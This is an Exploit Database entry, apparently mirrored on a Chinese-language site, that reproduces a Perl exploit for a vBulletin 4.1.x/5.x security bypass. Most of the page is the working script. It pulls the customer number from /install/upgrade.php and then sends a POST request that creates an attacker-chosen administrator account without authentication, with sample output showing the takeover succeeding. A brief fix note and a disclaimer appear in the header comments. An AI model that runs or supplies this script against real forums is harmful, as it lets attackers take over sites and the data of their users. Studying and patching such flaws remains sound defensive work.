vBulletin 4.1.x – ‘/install/upgrade.php’ Security Bypass

Exploit Database
104 阅读

作者： Joshua Rogers

日期： 2013-10-13
类别：
- webapps
平台：
- php
来源：https://www.exploit-db.com/exploits/38785/

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

119

120

121

122

123

124

125

126

127

128

129

130

131

132

133

134

135

136

137

138

139

140

141

142

143

source: https://www.securityfocus.com/bid/62909/info

vBulletin is prone to a security-bypass vulnerability.

Successful exploits can allow attackers to bypass certain security restrictions and perform unauthorized actions.

#!/usr/bin/perl

# Title: vBulletin remote admin injection exploit

# Author: Simo Ben youssef

# Contact: Simo_at_Morxploit_com

# Coded: 17 September 2013

# Published: 24 October 2013

# MorXploit Research

# http://www.MorXploit.com

# Vendor: vBulletin (www.vbulletin.com)

# Version: 4.1.x / 5.x.x

# Vulnerability: Remote admin injection

# Severity: High

# Status: Confirmed

# Exploit code description:

# Perl code to inject a new admin account through upgrade.php script.

# Vulnerability details:

# upgrade.php is vulnerable to a new admin account injection, the script doesn't require autentication when upgrading

# it only requires the customer number which can be extracted through the same script source code.

# Fix:

# Rename or delete the install folder until a fix is released.

# Author disclaimer:

# The information contained in this entire document is for educational, demonstration and testing purposes only.

# Author cannot be held responsible for any malicious use. Use at your own risk.

# Exploit usage:

# root@MorXploit:/home/simo/morx# perl morxvb.pl localhost

# ===================================================

# --- vbulletin admin injection exploit

# --- By: Simo Ben youssef <simo_at_morxploit_com>

# --- MorXploit Research www.MorXploit.com

# ===================================================

# [*] Trying to get customer number ... hold on!

# [+] Got xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx!

# [*] Trying to MorXploit localhost ... hold on!

# [+] Admin account successfully injected!

# [+] Admin: MorXploit

# [+] Pass: m0rxpl017

use strict;

use IO::Socket;

if(!defined($ARGV[0])) {

system ('clear');

print "\n";

print "===================================================\n";

print "--- vbulletin admin injection exploit\n";

print "--- By: Simo Ben youssef <simo_at_morxploit_com>\n";

print "--- MorXploit Research www.MorXploit.com\n";

print "===================================================\n";

print "--- Usage: perl $0 target\n\n";

exit; }

my $site = $ARGV[0];

##### Change these as needed #####

my $user = "MorXploit";

my $passwd = "m0rxpl017";

my $email = "dev%40null.com";

my $path = "/install/upgrade.php";

##################################

my $accept = "Accept: */*";

my $ct = "application/x-www-form-urlencoded";

my $port = "80";

system ('clear');

print "\n";

print "===================================================\n";

print "--- vbulletin admin injection exploit\n";

print "--- By: Simo Ben youssef <simo_at_morxploit_com>\n";

print "--- MorXploit Research www.MorXploit.com\n";

print "===================================================\n";

my $sock = new IO::Socket::INET ( PeerAddr => "$site",PeerPort => "$port",Proto => "tcp"); die "\n[-] Can't creat socket: $!\n" unless $sock;

print "[*] Trying to get customer number ... hold on!\n";

print $sock "GET $path HTTP/1.1\n";

print $sock "Host: $site\n";

print $sock "$accept\n";

print $sock "Content-Type: $ct\n";

print $sock "Connection: Close\n\n";

my $gotcn;

while(my $cn = <$sock>) {

if ($cn =~ /CUSTNUMBER = \"(.*?)\"/){

$gotcn = $1;

}

if (!defined $gotcn) {

print "[-] Failed to get customer number! Nulled? Going to try anyway!\n";

}

else {

print "[+] Got $gotcn!\n";

}

my $xploit = "ajax=1&version=install&checktable=false&firstrun=false&step=7&startat=0

&only=false&customerid=$gotcn&options[skiptemplatemerge]=0&response=yes&

htmlsubmit=1&htmldata[username]=$user&htmldata[password]=$passwd&htmldat

a[confirmpassword]=$passwd&htmldata[email]=$email";

my $cl = length($xploit);

my $content = "Content-Length: $cl";

my $sock2 = new IO::Socket::INET ( PeerAddr => "$site",PeerPort => "$port",Proto => "tcp"); die "\n[-] Can't creat socket: $!\n" unless $sock;

print "[*] Trying to MorXploit $site ... hold on!\n";

print $sock2 "POST $path HTTP/1.1\n";

print $sock2 "Host: $site\n";

print $sock2 "$accept\n";

print $sock2 "Cookie: bbcustomerid=$gotcn\n";

print $sock2 "Content-Length: $cl\n";

print $sock2 "Content-Type: $ct\n";

print $sock2 "Connection: Close\n\n";

print $sock2 "$xploit\n\n";

while(my $result = <$sock2>){

if ($result =~ /Administrator account created/) {

print "[+] Admin account successfully injected!\n";

print "[+] Admin: $user\n";

print "[+] Pass: $passwd\n";

exit;

}

print "[-] Failed, something went wrong\n";

exit;